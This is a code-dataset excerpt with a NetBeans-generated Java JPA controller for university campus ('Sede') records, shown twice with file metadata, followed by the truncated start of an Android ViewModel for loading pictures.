| 2021-01-10T18:23:20.408000 | 2015-06-15T19:39:55 | 2015-06-15T19:39:55 | 36,620,255 | 0 | 5 | null | false | 2015-06-16T14:53:40 | 2015-05-31T20:15:56 | 2015-05-31T23:18:47 | 2015-06-15T21:47:34 | 1,608 | 0 | 4 | 1 |
Java
| null | null |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Unicordoba.Registro_Control.Base_de_Datos.Controlador;
import Unicordoba.Registro_Control.Base_de_Datos.Controlador.exceptions.IllegalOrphanException;
import Unicordoba.Registro_Control.Base_de_Datos.Controlador.exceptions.NonexistentEntityException;
import java.io.Serializable;
import javax.persistence.Query;
import javax.persistence.EntityNotFoundException;
import javax.persistence.criteria.CriteriaQuery;
import javax.persistence.criteria.Root;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Universidad;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Estudiante;
import java.util.ArrayList;
import java.util.List;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Dinamizador;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Salon;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Sede;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
/**
*
* @author AndresFelipe
*/
public class SedeJpaController implements Serializable {
public SedeJpaController(EntityManagerFactory emf) {
this.emf = emf;
}
private EntityManagerFactory emf = null;
public EntityManager getEntityManager() {
return emf.createEntityManager();
}
public void create(Sede sede) {
if (sede.getEstudianteList() == null) {
sede.setEstudianteList(new ArrayList<Estudiante>());
}
if (sede.getDinamizadorList() == null) {
sede.setDinamizadorList(new ArrayList<Dinamizador>());
}
if (sede.getSalonList() == null) {
sede.setSalonList(new ArrayList<Salon>());
}
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Universidad universidadid = sede.getUniversidadid();
if (universidadid != null) {
universidadid = em.getReference(universidadid.getClass(), universidadid.getId());
sede.setUniversidadid(universidadid);
}
List<Estudiante> attachedEstudianteList = new ArrayList<Estudiante>();
for (Estudiante estudianteListEstudianteToAttach : sede.getEstudianteList()) {
estudianteListEstudianteToAttach = em.getReference(estudianteListEstudianteToAttach.getClass(), estudianteListEstudianteToAttach.getIdEstudiante());
attachedEstudianteList.add(estudianteListEstudianteToAttach);
}
sede.setEstudianteList(attachedEstudianteList);
List<Dinamizador> attachedDinamizadorList = new ArrayList<Dinamizador>();
for (Dinamizador dinamizadorListDinamizadorToAttach : sede.getDinamizadorList()) {
dinamizadorListDinamizadorToAttach = em.getReference(dinamizadorListDinamizadorToAttach.getClass(), dinamizadorListDinamizadorToAttach.getIdDinamizador());
attachedDinamizadorList.add(dinamizadorListDinamizadorToAttach);
}
sede.setDinamizadorList(attachedDinamizadorList);
List<Salon> attachedSalonList = new ArrayList<Salon>();
for (Salon salonListSalonToAttach : sede.getSalonList()) {
salonListSalonToAttach = em.getReference(salonListSalonToAttach.getClass(), salonListSalonToAttach.getId());
attachedSalonList.add(salonListSalonToAttach);
}
sede.setSalonList(attachedSalonList);
em.persist(sede);
if (universidadid != null) {
universidadid.getSedeList().add(sede);
universidadid = em.merge(universidadid);
}
for (Estudiante estudianteListEstudiante : sede.getEstudianteList()) {
Sede oldSedeidOfEstudianteListEstudiante = estudianteListEstudiante.getSedeid();
estudianteListEstudiante.setSedeid(sede);
estudianteListEstudiante = em.merge(estudianteListEstudiante);
if (oldSedeidOfEstudianteListEstudiante != null) {
oldSedeidOfEstudianteListEstudiante.getEstudianteList().remove(estudianteListEstudiante);
oldSedeidOfEstudianteListEstudiante = em.merge(oldSedeidOfEstudianteListEstudiante);
}
}
for (Dinamizador dinamizadorListDinamizador : sede.getDinamizadorList()) {
Sede oldSedeidOfDinamizadorListDinamizador = dinamizadorListDinamizador.getSedeid();
dinamizadorListDinamizador.setSedeid(sede);
dinamizadorListDinamizador = em.merge(dinamizadorListDinamizador);
if (oldSedeidOfDinamizadorListDinamizador != null) {
oldSedeidOfDinamizadorListDinamizador.getDinamizadorList().remove(dinamizadorListDinamizador);
oldSedeidOfDinamizadorListDinamizador = em.merge(oldSedeidOfDinamizadorListDinamizador);
}
}
for (Salon salonListSalon : sede.getSalonList()) {
Sede oldSedeidOfSalonListSalon = salonListSalon.getSedeid();
salonListSalon.setSedeid(sede);
salonListSalon = em.merge(salonListSalon);
if (oldSedeidOfSalonListSalon != null) {
oldSedeidOfSalonListSalon.getSalonList().remove(salonListSalon);
oldSedeidOfSalonListSalon = em.merge(oldSedeidOfSalonListSalon);
}
}
em.getTransaction().commit();
} finally {
if (em != null) {
em.close();
}
}
}
public void edit(Sede sede) throws IllegalOrphanException, NonexistentEntityException, Exception {
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Sede persistentSede = em.find(Sede.class, sede.getId());
Universidad universidadidOld = persistentSede.getUniversidadid();
Universidad universidadidNew = sede.getUniversidadid();
List<Estudiante> estudianteListOld = persistentSede.getEstudianteList();
List<Estudiante> estudianteListNew = sede.getEstudianteList();
List<Dinamizador> dinamizadorListOld = persistentSede.getDinamizadorList();
List<Dinamizador> dinamizadorListNew = sede.getDinamizadorList();
List<Salon> salonListOld = persistentSede.getSalonList();
List<Salon> salonListNew = sede.getSalonList();
List<String> illegalOrphanMessages = null;
for (Estudiante estudianteListOldEstudiante : estudianteListOld) {
if (!estudianteListNew.contains(estudianteListOldEstudiante)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Estudiante " + estudianteListOldEstudiante + " since its sedeid field is not nullable.");
}
}
for (Dinamizador dinamizadorListOldDinamizador : dinamizadorListOld) {
if (!dinamizadorListNew.contains(dinamizadorListOldDinamizador)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Dinamizador " + dinamizadorListOldDinamizador + " since its sedeid field is not nullable.");
}
}
for (Salon salonListOldSalon : salonListOld) {
if (!salonListNew.contains(salonListOldSalon)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Salon " + salonListOldSalon + " since its sedeid field is not nullable.");
}
}
if (illegalOrphanMessages != null) {
throw new IllegalOrphanException(illegalOrphanMessages);
}
if (universidadidNew != null) {
universidadidNew = em.getReference(universidadidNew.getClass(), universidadidNew.getId());
sede.setUniversidadid(universidadidNew);
}
List<Estudiante> attachedEstudianteListNew = new ArrayList<Estudiante>();
for (Estudiante estudianteListNewEstudianteToAttach : estudianteListNew) {
estudianteListNewEstudianteToAttach = em.getReference(estudianteListNewEstudianteToAttach.getClass(), estudianteListNewEstudianteToAttach.getIdEstudiante());
attachedEstudianteListNew.add(estudianteListNewEstudianteToAttach);
}
estudianteListNew = attachedEstudianteListNew;
sede.setEstudianteList(estudianteListNew);
List<Dinamizador> attachedDinamizadorListNew = new ArrayList<Dinamizador>();
for (Dinamizador dinamizadorListNewDinamizadorToAttach : dinamizadorListNew) {
dinamizadorListNewDinamizadorToAttach = em.getReference(dinamizadorListNewDinamizadorToAttach.getClass(), dinamizadorListNewDinamizadorToAttach.getIdDinamizador());
attachedDinamizadorListNew.add(dinamizadorListNewDinamizadorToAttach);
}
dinamizadorListNew = attachedDinamizadorListNew;
sede.setDinamizadorList(dinamizadorListNew);
List<Salon> attachedSalonListNew = new ArrayList<Salon>();
for (Salon salonListNewSalonToAttach : salonListNew) {
salonListNewSalonToAttach = em.getReference(salonListNewSalonToAttach.getClass(), salonListNewSalonToAttach.getId());
attachedSalonListNew.add(salonListNewSalonToAttach);
}
salonListNew = attachedSalonListNew;
sede.setSalonList(salonListNew);
sede = em.merge(sede);
if (universidadidOld != null && !universidadidOld.equals(universidadidNew)) {
universidadidOld.getSedeList().remove(sede);
universidadidOld = em.merge(universidadidOld);
}
if (universidadidNew != null && !universidadidNew.equals(universidadidOld)) {
universidadidNew.getSedeList().add(sede);
universidadidNew = em.merge(universidadidNew);
}
for (Estudiante estudianteListNewEstudiante : estudianteListNew) {
if (!estudianteListOld.contains(estudianteListNewEstudiante)) {
Sede oldSedeidOfEstudianteListNewEstudiante = estudianteListNewEstudiante.getSedeid();
estudianteListNewEstudiante.setSedeid(sede);
estudianteListNewEstudiante = em.merge(estudianteListNewEstudiante);
if (oldSedeidOfEstudianteListNewEstudiante != null && !oldSedeidOfEstudianteListNewEstudiante.equals(sede)) {
oldSedeidOfEstudianteListNewEstudiante.getEstudianteList().remove(estudianteListNewEstudiante);
oldSedeidOfEstudianteListNewEstudiante = em.merge(oldSedeidOfEstudianteListNewEstudiante);
}
}
}
for (Dinamizador dinamizadorListNewDinamizador : dinamizadorListNew) {
if (!dinamizadorListOld.contains(dinamizadorListNewDinamizador)) {
Sede oldSedeidOfDinamizadorListNewDinamizador = dinamizadorListNewDinamizador.getSedeid();
dinamizadorListNewDinamizador.setSedeid(sede);
dinamizadorListNewDinamizador = em.merge(dinamizadorListNewDinamizador);
if (oldSedeidOfDinamizadorListNewDinamizador != null && !oldSedeidOfDinamizadorListNewDinamizador.equals(sede)) {
oldSedeidOfDinamizadorListNewDinamizador.getDinamizadorList().remove(dinamizadorListNewDinamizador);
oldSedeidOfDinamizadorListNewDinamizador = em.merge(oldSedeidOfDinamizadorListNewDinamizador);
}
}
}
for (Salon salonListNewSalon : salonListNew) {
if (!salonListOld.contains(salonListNewSalon)) {
Sede oldSedeidOfSalonListNewSalon = salonListNewSalon.getSedeid();
salonListNewSalon.setSedeid(sede);
salonListNewSalon = em.merge(salonListNewSalon);
if (oldSedeidOfSalonListNewSalon != null && !oldSedeidOfSalonListNewSalon.equals(sede)) {
oldSedeidOfSalonListNewSalon.getSalonList().remove(salonListNewSalon);
oldSedeidOfSalonListNewSalon = em.merge(oldSedeidOfSalonListNewSalon);
}
}
}
em.getTransaction().commit();
} catch (Exception ex) {
String msg = ex.getLocalizedMessage();
if (msg == null || msg.length() == 0) {
Integer id = sede.getId();
if (findSede(id) == null) {
throw new NonexistentEntityException("The sede with id " + id + " no longer exists.");
}
}
throw ex;
} finally {
if (em != null) {
em.close();
}
}
}
public void destroy(Integer id) throws IllegalOrphanException, NonexistentEntityException {
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Sede sede;
try {
sede = em.getReference(Sede.class, id);
sede.getId();
} catch (EntityNotFoundException enfe) {
throw new NonexistentEntityException("The sede with id " + id + " no longer exists.", enfe);
}
List<String> illegalOrphanMessages = null;
List<Estudiante> estudianteListOrphanCheck = sede.getEstudianteList();
for (Estudiante estudianteListOrphanCheckEstudiante : estudianteListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Estudiante " + estudianteListOrphanCheckEstudiante + " in its estudianteList field has a non-nullable sedeid field.");
}
List<Dinamizador> dinamizadorListOrphanCheck = sede.getDinamizadorList();
for (Dinamizador dinamizadorListOrphanCheckDinamizador : dinamizadorListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Dinamizador " + dinamizadorListOrphanCheckDinamizador + " in its dinamizadorList field has a non-nullable sedeid field.");
}
List<Salon> salonListOrphanCheck = sede.getSalonList();
for (Salon salonListOrphanCheckSalon : salonListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Salon " + salonListOrphanCheckSalon + " in its salonList field has a non-nullable sedeid field.");
}
if (illegalOrphanMessages != null) {
throw new IllegalOrphanException(illegalOrphanMessages);
}
Universidad universidadid = sede.getUniversidadid();
if (universidadid != null) {
universidadid.getSedeList().remove(sede);
universidadid = em.merge(universidadid);
}
em.remove(sede);
em.getTransaction().commit();
} finally {
if (em != null) {
em.close();
}
}
}
public List<Sede> findSedeEntities() {
return findSedeEntities(true, -1, -1);
}
public List<Sede> findSedeEntities(int maxResults, int firstResult) {
return findSedeEntities(false, maxResults, firstResult);
}
private List<Sede> findSedeEntities(boolean all, int maxResults, int firstResult) {
EntityManager em = getEntityManager();
try {
CriteriaQuery cq = em.getCriteriaBuilder().createQuery();
cq.select(cq.from(Sede.class));
Query q = em.createQuery(cq);
if (!all) {
q.setMaxResults(maxResults);
q.setFirstResult(firstResult);
}
return q.getResultList();
} finally {
em.close();
}
}
public Sede findSede(Integer id) {
EntityManager em = getEntityManager();
try {
return em.find(Sede.class, id);
} finally {
em.close();
}
}
public int getSedeCount() {
EntityManager em = getEntityManager();
try {
CriteriaQuery cq = em.getCriteriaBuilder().createQuery();
Root<Sede> rt = cq.from(Sede.class);
cq.select(em.getCriteriaBuilder().count(rt));
Query q = em.createQuery(cq);
return ((Long) q.getSingleResult()).intValue();
} finally {
em.close();
}
}
}
|
UTF-8
|
Java
| 18,021 |
java
|
SedeJpaController.java
|
Java
|
[
{
"context": "tence.EntityManagerFactory;\r\n\r\n/**\r\n *\r\n * @author AndresFelipe\r\n */\r\npublic class SedeJpaController implements Ser",
"end": 1171,
"score": 0.982356607913971,
"start": 1159,
"tag": "NAME",
"value": "AndresFelipe"
}
] | null |
[] |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Unicordoba.Registro_Control.Base_de_Datos.Controlador;
import Unicordoba.Registro_Control.Base_de_Datos.Controlador.exceptions.IllegalOrphanException;
import Unicordoba.Registro_Control.Base_de_Datos.Controlador.exceptions.NonexistentEntityException;
import java.io.Serializable;
import javax.persistence.Query;
import javax.persistence.EntityNotFoundException;
import javax.persistence.criteria.CriteriaQuery;
import javax.persistence.criteria.Root;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Universidad;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Estudiante;
import java.util.ArrayList;
import java.util.List;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Dinamizador;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Salon;
import Unicordoba.Registro_Control.Base_de_Datos.Entity.Sede;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
/**
*
* @author AndresFelipe
*/
public class SedeJpaController implements Serializable {
public SedeJpaController(EntityManagerFactory emf) {
this.emf = emf;
}
private EntityManagerFactory emf = null;
public EntityManager getEntityManager() {
return emf.createEntityManager();
}
public void create(Sede sede) {
if (sede.getEstudianteList() == null) {
sede.setEstudianteList(new ArrayList<Estudiante>());
}
if (sede.getDinamizadorList() == null) {
sede.setDinamizadorList(new ArrayList<Dinamizador>());
}
if (sede.getSalonList() == null) {
sede.setSalonList(new ArrayList<Salon>());
}
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Universidad universidadid = sede.getUniversidadid();
if (universidadid != null) {
universidadid = em.getReference(universidadid.getClass(), universidadid.getId());
sede.setUniversidadid(universidadid);
}
List<Estudiante> attachedEstudianteList = new ArrayList<Estudiante>();
for (Estudiante estudianteListEstudianteToAttach : sede.getEstudianteList()) {
estudianteListEstudianteToAttach = em.getReference(estudianteListEstudianteToAttach.getClass(), estudianteListEstudianteToAttach.getIdEstudiante());
attachedEstudianteList.add(estudianteListEstudianteToAttach);
}
sede.setEstudianteList(attachedEstudianteList);
List<Dinamizador> attachedDinamizadorList = new ArrayList<Dinamizador>();
for (Dinamizador dinamizadorListDinamizadorToAttach : sede.getDinamizadorList()) {
dinamizadorListDinamizadorToAttach = em.getReference(dinamizadorListDinamizadorToAttach.getClass(), dinamizadorListDinamizadorToAttach.getIdDinamizador());
attachedDinamizadorList.add(dinamizadorListDinamizadorToAttach);
}
sede.setDinamizadorList(attachedDinamizadorList);
List<Salon> attachedSalonList = new ArrayList<Salon>();
for (Salon salonListSalonToAttach : sede.getSalonList()) {
salonListSalonToAttach = em.getReference(salonListSalonToAttach.getClass(), salonListSalonToAttach.getId());
attachedSalonList.add(salonListSalonToAttach);
}
sede.setSalonList(attachedSalonList);
em.persist(sede);
if (universidadid != null) {
universidadid.getSedeList().add(sede);
universidadid = em.merge(universidadid);
}
for (Estudiante estudianteListEstudiante : sede.getEstudianteList()) {
Sede oldSedeidOfEstudianteListEstudiante = estudianteListEstudiante.getSedeid();
estudianteListEstudiante.setSedeid(sede);
estudianteListEstudiante = em.merge(estudianteListEstudiante);
if (oldSedeidOfEstudianteListEstudiante != null) {
oldSedeidOfEstudianteListEstudiante.getEstudianteList().remove(estudianteListEstudiante);
oldSedeidOfEstudianteListEstudiante = em.merge(oldSedeidOfEstudianteListEstudiante);
}
}
for (Dinamizador dinamizadorListDinamizador : sede.getDinamizadorList()) {
Sede oldSedeidOfDinamizadorListDinamizador = dinamizadorListDinamizador.getSedeid();
dinamizadorListDinamizador.setSedeid(sede);
dinamizadorListDinamizador = em.merge(dinamizadorListDinamizador);
if (oldSedeidOfDinamizadorListDinamizador != null) {
oldSedeidOfDinamizadorListDinamizador.getDinamizadorList().remove(dinamizadorListDinamizador);
oldSedeidOfDinamizadorListDinamizador = em.merge(oldSedeidOfDinamizadorListDinamizador);
}
}
for (Salon salonListSalon : sede.getSalonList()) {
Sede oldSedeidOfSalonListSalon = salonListSalon.getSedeid();
salonListSalon.setSedeid(sede);
salonListSalon = em.merge(salonListSalon);
if (oldSedeidOfSalonListSalon != null) {
oldSedeidOfSalonListSalon.getSalonList().remove(salonListSalon);
oldSedeidOfSalonListSalon = em.merge(oldSedeidOfSalonListSalon);
}
}
em.getTransaction().commit();
} finally {
if (em != null) {
em.close();
}
}
}
public void edit(Sede sede) throws IllegalOrphanException, NonexistentEntityException, Exception {
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Sede persistentSede = em.find(Sede.class, sede.getId());
Universidad universidadidOld = persistentSede.getUniversidadid();
Universidad universidadidNew = sede.getUniversidadid();
List<Estudiante> estudianteListOld = persistentSede.getEstudianteList();
List<Estudiante> estudianteListNew = sede.getEstudianteList();
List<Dinamizador> dinamizadorListOld = persistentSede.getDinamizadorList();
List<Dinamizador> dinamizadorListNew = sede.getDinamizadorList();
List<Salon> salonListOld = persistentSede.getSalonList();
List<Salon> salonListNew = sede.getSalonList();
List<String> illegalOrphanMessages = null;
for (Estudiante estudianteListOldEstudiante : estudianteListOld) {
if (!estudianteListNew.contains(estudianteListOldEstudiante)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Estudiante " + estudianteListOldEstudiante + " since its sedeid field is not nullable.");
}
}
for (Dinamizador dinamizadorListOldDinamizador : dinamizadorListOld) {
if (!dinamizadorListNew.contains(dinamizadorListOldDinamizador)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Dinamizador " + dinamizadorListOldDinamizador + " since its sedeid field is not nullable.");
}
}
for (Salon salonListOldSalon : salonListOld) {
if (!salonListNew.contains(salonListOldSalon)) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("You must retain Salon " + salonListOldSalon + " since its sedeid field is not nullable.");
}
}
if (illegalOrphanMessages != null) {
throw new IllegalOrphanException(illegalOrphanMessages);
}
if (universidadidNew != null) {
universidadidNew = em.getReference(universidadidNew.getClass(), universidadidNew.getId());
sede.setUniversidadid(universidadidNew);
}
List<Estudiante> attachedEstudianteListNew = new ArrayList<Estudiante>();
for (Estudiante estudianteListNewEstudianteToAttach : estudianteListNew) {
estudianteListNewEstudianteToAttach = em.getReference(estudianteListNewEstudianteToAttach.getClass(), estudianteListNewEstudianteToAttach.getIdEstudiante());
attachedEstudianteListNew.add(estudianteListNewEstudianteToAttach);
}
estudianteListNew = attachedEstudianteListNew;
sede.setEstudianteList(estudianteListNew);
List<Dinamizador> attachedDinamizadorListNew = new ArrayList<Dinamizador>();
for (Dinamizador dinamizadorListNewDinamizadorToAttach : dinamizadorListNew) {
dinamizadorListNewDinamizadorToAttach = em.getReference(dinamizadorListNewDinamizadorToAttach.getClass(), dinamizadorListNewDinamizadorToAttach.getIdDinamizador());
attachedDinamizadorListNew.add(dinamizadorListNewDinamizadorToAttach);
}
dinamizadorListNew = attachedDinamizadorListNew;
sede.setDinamizadorList(dinamizadorListNew);
List<Salon> attachedSalonListNew = new ArrayList<Salon>();
for (Salon salonListNewSalonToAttach : salonListNew) {
salonListNewSalonToAttach = em.getReference(salonListNewSalonToAttach.getClass(), salonListNewSalonToAttach.getId());
attachedSalonListNew.add(salonListNewSalonToAttach);
}
salonListNew = attachedSalonListNew;
sede.setSalonList(salonListNew);
sede = em.merge(sede);
if (universidadidOld != null && !universidadidOld.equals(universidadidNew)) {
universidadidOld.getSedeList().remove(sede);
universidadidOld = em.merge(universidadidOld);
}
if (universidadidNew != null && !universidadidNew.equals(universidadidOld)) {
universidadidNew.getSedeList().add(sede);
universidadidNew = em.merge(universidadidNew);
}
for (Estudiante estudianteListNewEstudiante : estudianteListNew) {
if (!estudianteListOld.contains(estudianteListNewEstudiante)) {
Sede oldSedeidOfEstudianteListNewEstudiante = estudianteListNewEstudiante.getSedeid();
estudianteListNewEstudiante.setSedeid(sede);
estudianteListNewEstudiante = em.merge(estudianteListNewEstudiante);
if (oldSedeidOfEstudianteListNewEstudiante != null && !oldSedeidOfEstudianteListNewEstudiante.equals(sede)) {
oldSedeidOfEstudianteListNewEstudiante.getEstudianteList().remove(estudianteListNewEstudiante);
oldSedeidOfEstudianteListNewEstudiante = em.merge(oldSedeidOfEstudianteListNewEstudiante);
}
}
}
for (Dinamizador dinamizadorListNewDinamizador : dinamizadorListNew) {
if (!dinamizadorListOld.contains(dinamizadorListNewDinamizador)) {
Sede oldSedeidOfDinamizadorListNewDinamizador = dinamizadorListNewDinamizador.getSedeid();
dinamizadorListNewDinamizador.setSedeid(sede);
dinamizadorListNewDinamizador = em.merge(dinamizadorListNewDinamizador);
if (oldSedeidOfDinamizadorListNewDinamizador != null && !oldSedeidOfDinamizadorListNewDinamizador.equals(sede)) {
oldSedeidOfDinamizadorListNewDinamizador.getDinamizadorList().remove(dinamizadorListNewDinamizador);
oldSedeidOfDinamizadorListNewDinamizador = em.merge(oldSedeidOfDinamizadorListNewDinamizador);
}
}
}
for (Salon salonListNewSalon : salonListNew) {
if (!salonListOld.contains(salonListNewSalon)) {
Sede oldSedeidOfSalonListNewSalon = salonListNewSalon.getSedeid();
salonListNewSalon.setSedeid(sede);
salonListNewSalon = em.merge(salonListNewSalon);
if (oldSedeidOfSalonListNewSalon != null && !oldSedeidOfSalonListNewSalon.equals(sede)) {
oldSedeidOfSalonListNewSalon.getSalonList().remove(salonListNewSalon);
oldSedeidOfSalonListNewSalon = em.merge(oldSedeidOfSalonListNewSalon);
}
}
}
em.getTransaction().commit();
} catch (Exception ex) {
String msg = ex.getLocalizedMessage();
if (msg == null || msg.length() == 0) {
Integer id = sede.getId();
if (findSede(id) == null) {
throw new NonexistentEntityException("The sede with id " + id + " no longer exists.");
}
}
throw ex;
} finally {
if (em != null) {
em.close();
}
}
}
public void destroy(Integer id) throws IllegalOrphanException, NonexistentEntityException {
EntityManager em = null;
try {
em = getEntityManager();
em.getTransaction().begin();
Sede sede;
try {
sede = em.getReference(Sede.class, id);
sede.getId();
} catch (EntityNotFoundException enfe) {
throw new NonexistentEntityException("The sede with id " + id + " no longer exists.", enfe);
}
List<String> illegalOrphanMessages = null;
List<Estudiante> estudianteListOrphanCheck = sede.getEstudianteList();
for (Estudiante estudianteListOrphanCheckEstudiante : estudianteListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Estudiante " + estudianteListOrphanCheckEstudiante + " in its estudianteList field has a non-nullable sedeid field.");
}
List<Dinamizador> dinamizadorListOrphanCheck = sede.getDinamizadorList();
for (Dinamizador dinamizadorListOrphanCheckDinamizador : dinamizadorListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Dinamizador " + dinamizadorListOrphanCheckDinamizador + " in its dinamizadorList field has a non-nullable sedeid field.");
}
List<Salon> salonListOrphanCheck = sede.getSalonList();
for (Salon salonListOrphanCheckSalon : salonListOrphanCheck) {
if (illegalOrphanMessages == null) {
illegalOrphanMessages = new ArrayList<String>();
}
illegalOrphanMessages.add("This Sede (" + sede + ") cannot be destroyed since the Salon " + salonListOrphanCheckSalon + " in its salonList field has a non-nullable sedeid field.");
}
if (illegalOrphanMessages != null) {
throw new IllegalOrphanException(illegalOrphanMessages);
}
Universidad universidadid = sede.getUniversidadid();
if (universidadid != null) {
universidadid.getSedeList().remove(sede);
universidadid = em.merge(universidadid);
}
em.remove(sede);
em.getTransaction().commit();
} finally {
if (em != null) {
em.close();
}
}
}
public List<Sede> findSedeEntities() {
return findSedeEntities(true, -1, -1);
}
public List<Sede> findSedeEntities(int maxResults, int firstResult) {
return findSedeEntities(false, maxResults, firstResult);
}
private List<Sede> findSedeEntities(boolean all, int maxResults, int firstResult) {
EntityManager em = getEntityManager();
try {
CriteriaQuery cq = em.getCriteriaBuilder().createQuery();
cq.select(cq.from(Sede.class));
Query q = em.createQuery(cq);
if (!all) {
q.setMaxResults(maxResults);
q.setFirstResult(firstResult);
}
return q.getResultList();
} finally {
em.close();
}
}
public Sede findSede(Integer id) {
EntityManager em = getEntityManager();
try {
return em.find(Sede.class, id);
} finally {
em.close();
}
}
public int getSedeCount() {
EntityManager em = getEntityManager();
try {
CriteriaQuery cq = em.getCriteriaBuilder().createQuery();
Root<Sede> rt = cq.from(Sede.class);
cq.select(em.getCriteriaBuilder().count(rt));
Query q = em.createQuery(cq);
return ((Long) q.getSingleResult()).intValue();
} finally {
em.close();
}
}
}
| 18,021 | 0.617335 | 0.617169 | 340 | 51.002941 | 38.579369 | 220 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.573529 | false | false |
8
|
8df71fda801ccf990875657d27b985eabdf13594
| 14,070,312,883,345 |
d27d02951a7ecaf9c02154acb746f1028b25fff7
|
/app/src/main/java/com/example/simplebottomnav/viewmodel/PicViewModel.java
|
b8146f965069063b786a47cced821234fd25d566
|
[] |
no_license
|
xinjingjie/SimpleBottomNav
|
https://github.com/xinjingjie/SimpleBottomNav
|
287aae0d30ff02b09342c4dbc31f8ad25e177607
|
02b5d7a8346e05996cfa957d52b40faf12d9b338
|
refs/heads/master
| 2021-01-14T00:45:10.171000 | 2020-04-03T09:13:32 | 2020-04-03T09:13:32 | 242,545,321 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.simplebottomnav.viewmodel;
import android.app.Application;
import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.lifecycle.AndroidViewModel;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.SavedStateHandle;
import com.android.volley.toolbox.StringRequest;
import com.example.simplebottomnav.MainActivity;
import com.example.simplebottomnav.bean.JsonData;
import com.example.simplebottomnav.bean.Picture;
import com.example.simplebottomnav.repository.LoadPic;
import com.example.simplebottomnav.repository.VolleySingleton;
import com.google.gson.Gson;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class PicViewModel extends AndroidViewModel {
// TODO: Implement the ViewModel
LoadPic loadPic;
boolean isToScrollTop = true;
SavedStateHandle savedStateHandle;
VolleySingleton volleySingleton;
public PicViewModel(@NonNull Application application, SavedStateHandle handle) {
super(application);
volleySingleton = VolleySingleton.getINSTANCE(application);
loadPic = new LoadPic(application.getApplicationContext());
if (!handle.contains("NEEDLOAD")) {
SharedPreferences sharedPreferences = getApplication().getSharedPreferences(MainActivity.login_shpName, Context.MODE_PRIVATE);
handle.set("UID", sharedPreferences.getInt("UID", 0));
handle.set("username", sharedPreferences.getString("username", null));
handle.set("NEEDLOAD", true);
}
this.savedStateHandle = handle;
}
public LiveData<List<Picture>> getPhotoListLive() {
return loadPic.getPhotoLiveData();
}
/*
获取savedStateHandle
*/
public SavedStateHandle getSavedStateHandle() {
return savedStateHandle;
}
/*
savedStateHandle保存数据
*/
public void save(String str, String content) {
savedStateHandle.set(str, content);
}
/*
把savedStateHandle保存到sharePreferences里
*/
public void saveAll() {
SharedPreferences sharedPreferences = getApplication().getSharedPreferences(MainActivity.login_shpName, Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.clear();
Set<String> set = savedStateHandle.keys();
for (String s : set) {
String key = s;
editor.putString(key, (String) savedStateHandle.getLiveData(key).getValue());
}
editor.apply();
}
public void deleteAll() {
Set<String> set = savedStateHandle.keys();
List<String> list = new ArrayList();
for (String s : set) {
String key = s;
switch (key) {
case "UID":
case "username":
case "NEEDLOAD":
break;
default:
list.add(key);
break;
}
}
for (int i = 0; i < list.size(); i++) {
savedStateHandle.remove(list.get(i));
}
}
public void setPhotoListLive(int type, String key) {
loadPic.setPhotoLiveData(type, key);
}
public void setToScrollTop(boolean toScrollTop) {
isToScrollTop = toScrollTop;
}
public boolean getIsToScrollTop() {
return isToScrollTop;
}
public void resetData() {
isToScrollTop = true;
loadPic.resetQuery();
}
public LiveData<Integer> getDataState() {
return loadPic.getLoadState();
}
// public void fetchData(final VolleyCallBack callback){
// StringRequest stringRequest=new StringRequest(
// StringRequest.Method.GET,
// "https://pixabay.com/api/?key=14808073-70a71eb74f498799436435a14&q=flower",
// new Response.Listener<String>() {
// @Override
// public void onResponse(String response) {
